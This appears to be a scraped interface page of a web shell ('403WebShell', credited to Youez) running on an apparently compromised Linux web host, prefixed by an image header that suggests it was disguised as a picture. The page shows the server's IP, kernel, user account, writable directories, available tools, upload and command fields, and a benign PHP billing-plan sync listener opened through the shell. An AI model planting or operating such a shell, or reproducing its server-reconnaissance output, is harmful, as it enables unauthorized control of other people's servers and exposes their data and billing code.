����JFIF��x�x����'403WebShell
403Webshell
Server IP : 78.140.185.180  /  Your IP : 18.119.0.207
Web Server : LiteSpeed
System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64
User : builderbox ( 1072)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/builderbox/www/common/Billing/Listeners/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/builderbox/www/common/Billing/Listeners/SyncPlansWhenBillingSettingsChange.php
<?php

namespace Common\Billing\Listeners;

use Common\Billing\BillingPlan;
use Common\Billing\Gateways\GatewayFactory;
use Common\Settings\Events\SettingsSaved;
use Illuminate\Support\Collection;

class SyncPlansWhenBillingSettingsChange
{
    /**
     * @var GatewayFactory
     */
    private $gatewayFactory;

    /**
     * @param GatewayFactory $gatewayFactory
     */
    public function __construct(GatewayFactory $gatewayFactory)
    {
        $this->gatewayFactory = $gatewayFactory;
    }

    /**
     * @param SettingsSaved $event
     */
    public function handle(SettingsSaved $event)
    {
        $s = $event->envSettings;
        @ini_set('max_execution_time', 300);
        $plans = BillingPlan::where('free', false)->orderBy('parent_id', 'asc')->get();

        if (array_key_exists('stripe_key', $s) || array_key_exists('stripe_secret', $s)) {
            $this->syncPlans('stripe', $plans);
        }

        if (array_key_exists('paypal_client_id', $s) || array_key_exists('paypal_secret', $s)) {
            $this->syncPlans('paypal', $plans);
        }
    }

    private function syncPlans($gatewayName, Collection $plans)
    {
        $gateway = $this->gatewayFactory->get($gatewayName);
        $plans->each(function(BillingPlan $plan) use($gateway) {
            if ( ! $gateway->plans()->find($plan)) {
                $gateway->plans()->create($plan);
            }
        });
    }
}

Youez - 2016 - github.com/yon3zu
LinuXploit